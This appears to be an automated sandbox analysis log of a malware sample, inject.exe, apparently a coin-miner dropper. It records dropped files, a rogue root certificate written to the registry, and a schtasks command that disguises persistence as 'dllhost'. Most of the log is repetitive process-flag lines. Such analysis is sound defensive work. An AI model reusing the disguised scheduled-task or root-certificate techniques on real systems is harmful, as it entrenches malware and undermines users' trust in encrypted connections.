Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: inject.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\rje\tg\v\obj\Release\Qrr.pdb source: inject.exe

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

5_2_00402665

Source: Installer.exe.20.dr	Static PE information: real checksum: 0x3425e should be: 0xa3dbd
Source: 7z.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 7z.dll.5.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: inject.exe	Static PE information: real checksum: 0x0 should be: 0x556c5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A3EFB2 push eax; ret	3_2_06A3EFC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF3AD9 push ebx; retf	3_2_06CF3ADA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E76927 pushfd ; ret	3_2_08E7693B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E70D38 push 2C08DFCCh; retf	3_2_08E70D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B1F2 push esp; ret	3_2_08E7B1F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B1C3 push esp; ret	3_2_08E7B1E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B204 push ebx; ret	3_2_08E7B233
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B202 push esp; ret	3_2_08E7B203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B360 push edx; ret	3_2_08E7B383
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B480 push ecx; ret	3_2_08E7B493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7D639 push edi; retf	3_2_08E7D63B
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_004192C0 push eax; ret	5_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0033676A push rcx; ret	9_2_0033676B

Source: inject.exe

Static PE information: section name: .text entropy: 7.994475414481835

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

22_2_00301280

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\conhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
